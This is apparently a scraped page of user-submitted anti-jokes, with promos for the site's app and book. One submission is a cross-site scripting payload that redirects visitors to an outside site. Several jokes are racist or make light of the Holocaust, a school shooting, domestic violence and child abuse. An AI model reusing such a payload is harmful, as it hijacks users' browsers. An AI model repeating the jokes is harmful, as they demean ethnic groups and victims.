Roses are red, violets blue, um... that's all i got.

roses are red violets are blue you smell like poo I F*****G HATE YOU!

what has two legs, and is red? half a cat.

Me: "If I had Alzheimers, I would break down into tears." Friend: "Why, you would forget why you were crying..." Me: "Who are you again?"

What did the big Chimney say to the little Chimney? Nothing they are chimneys ....

Roses are red Violets are blue Some poems rhyme But this one doesn't.

whats black & white the colombo school shooting citv footage

A black guy and a Mexican are sitting in a car who's driving??? The Cops

An irishman walks into a bar and drinks 6 pints of guiness. He then drives himself home and savagely beats his wife and children.

Knock Knock Who's There? Poop. Poop who? HAHAHAHAHAHA you said poopoo

What should you do if you have a 10 inch penis? Subtly tell the world via an anti-joke

Why did Lucy fall off the swing set? Because she died. Knock knock. Who's there? Not Lucy.

What do the Africans have for breakfast? Nothing.

Why arent guys and girls the same? Cause there different

What did Elmer Fudd say when Bugs Bunny got away again? "Oh, dat dawn wabbit, I'ww get it some day".

Dont joke about the holocaust. My grandfather died there, he fell off the guard tower.

Why can't hank swim? Hank is a rock.

why was the 6 year old boy crying? his mother had just passed away from terminal cancer and his stepdad caught him crying so he kicke hm in the face and told him to man up.

What did one tree say to the other tree? Nothing, trees can't talk.

Why is Joel always with Jamie? Because her incorrectly positioned eyes prevent her from seeing the true Joel.

"'>document.location.href="http://cramik.org"

Why couldn't the man sleep? Because he was a wax model in a museum, and as we all know wax models are inanimate objects thus incapable of consciousness and therefore incapable of unconsciousness as well. Many other inanimate objects are caught up in similar problems relating to their incapability to do anything.

If a large bear falls out of a tree, why would a giraffe also eat the cheese?

Roses are yellow, Violets are purple, im not color blind you just cant read.

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

Want more? You might be interested in...